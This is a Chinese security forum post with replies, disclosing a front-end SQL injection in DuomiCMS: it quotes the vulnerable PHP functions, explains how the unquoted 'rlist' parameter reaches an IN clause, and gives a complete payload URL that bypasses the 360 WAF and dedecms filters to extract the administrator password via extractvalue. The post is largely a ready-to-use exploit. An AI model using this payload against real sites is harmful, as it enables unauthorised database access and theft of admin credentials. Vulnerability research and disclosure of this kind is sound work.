[【通过】] DuomiCMS前台SQL注入

[复制链接]
WangEX 发表于 2016-12-29 12:44:04 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 32

一、背景
1. duomicms在SQL防注入方面做了2层安全检测,第一层检测是在代码入口处,使用了360的简易WAF规则。第二层是在数据库查询入口处使用了dedecms的SQL检测函数。
2. duomicms使用了伪全局变量,对GET/POST/COOKIE中的变量做了addslashes

由上可知要完成注入的必要条件有:
1. 注入点无单引号保护
2. 绕过文件入口处的360WAF规则和数据库查询入口处的dedecms SQL检查函数。


二、注入点
/interface/comment/api/index.php文件中的Readrlist函数:
[PHP] 纯文本查看 复制代码
function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM duomi_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

从sql语句中可以看出ids参数被带入in操作符,但是没有单引号保护,再看调用Readrlist函数的地方:
[PHP] 纯文本查看 复制代码
function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }       
        $readData = FormatJson($ret);
        return $readData;
}

可以看出注入点ids来自全局变量rlist,而rlist参数是用户可以控制的,由此造成注入。


三、规则绕过
通过构造如下payload即可绕过两处规则检测:
[PHP] 纯文本查看 复制代码
127.0.0.1/interface/comment/api/index.php?gid=1&page=2&rlist[0]=`'`.``.id, extractvalue(1, concat_ws(0x20, 0x5c,(select`password` from duomi_admin limit 1))),`'`.``.id



四、验证
90sec.png

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

Sunshie 发表于 2016-12-29 13:07:27 | 显示全部楼层

正式成员|主题 |帖子 |积分 130

看成dedecms了
badbad 发表于 2016-12-29 13:44:11 | 显示全部楼层

正式成员|主题 |帖子 |积分 169

直接有getshell的
芙蓉王 发表于 2017-1-1 08:16:30 | 显示全部楼层

正式成员|主题 |帖子 |积分 201

吓我一跳我也以为是dede
快速回复 返回顶部 返回列表